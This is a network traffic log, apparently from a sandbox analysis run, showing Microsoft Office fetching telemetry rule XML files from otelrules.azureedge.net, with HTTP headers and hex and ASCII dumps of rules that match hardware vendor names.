Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 396bdd21-c01e-0034-5008-2c2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-17c5cb586f6ks725u50g36qts800000002qg000000002nws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e9959b50-e01e-0071-4210-2c08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-17c5cb586f6p5pndayxh2uxv54000000023g00000000crwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cabb8868-401e-000a-5c00-2b4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-15b8d89586fpccrmgpemqdqe5800000005b000000000cexh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 860be216-201e-0071-14dc-2aff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-159b85dff8fdjprfhC1DFWuqh000000001eg000000004u4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-15b8d89586fnfb49yv03rfgz1c0000000270000000005xcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3a8fd219-b01e-0084-5fd4-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-159b85dff8fj6b6xhC1DFW8qdg00000002gg000000003xpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-16849878b78hh85qc40uyr8sc80000000at000000000f26v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 4d8b81f2-501e-0029-7c16-2bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-15b8d89586fzhrwgk23ex2bvhw0000000dg000000000ccr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-15b8d89586ffsjj9qb0gmb1stn0000000evg000000001dxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 74985455-e01e-00aa-1aa3-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-159b85dff8f7x84jhC1DFWaghs00000002ag00000000cp21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-16849878b78qf2gleqhwczd21s0000000aq000000000gr0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:07 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d7b90bc6-301e-001f-5d18-2baa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045307Z-15b8d89586flspj6y6m5fk442w0000000gf000000000cgps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
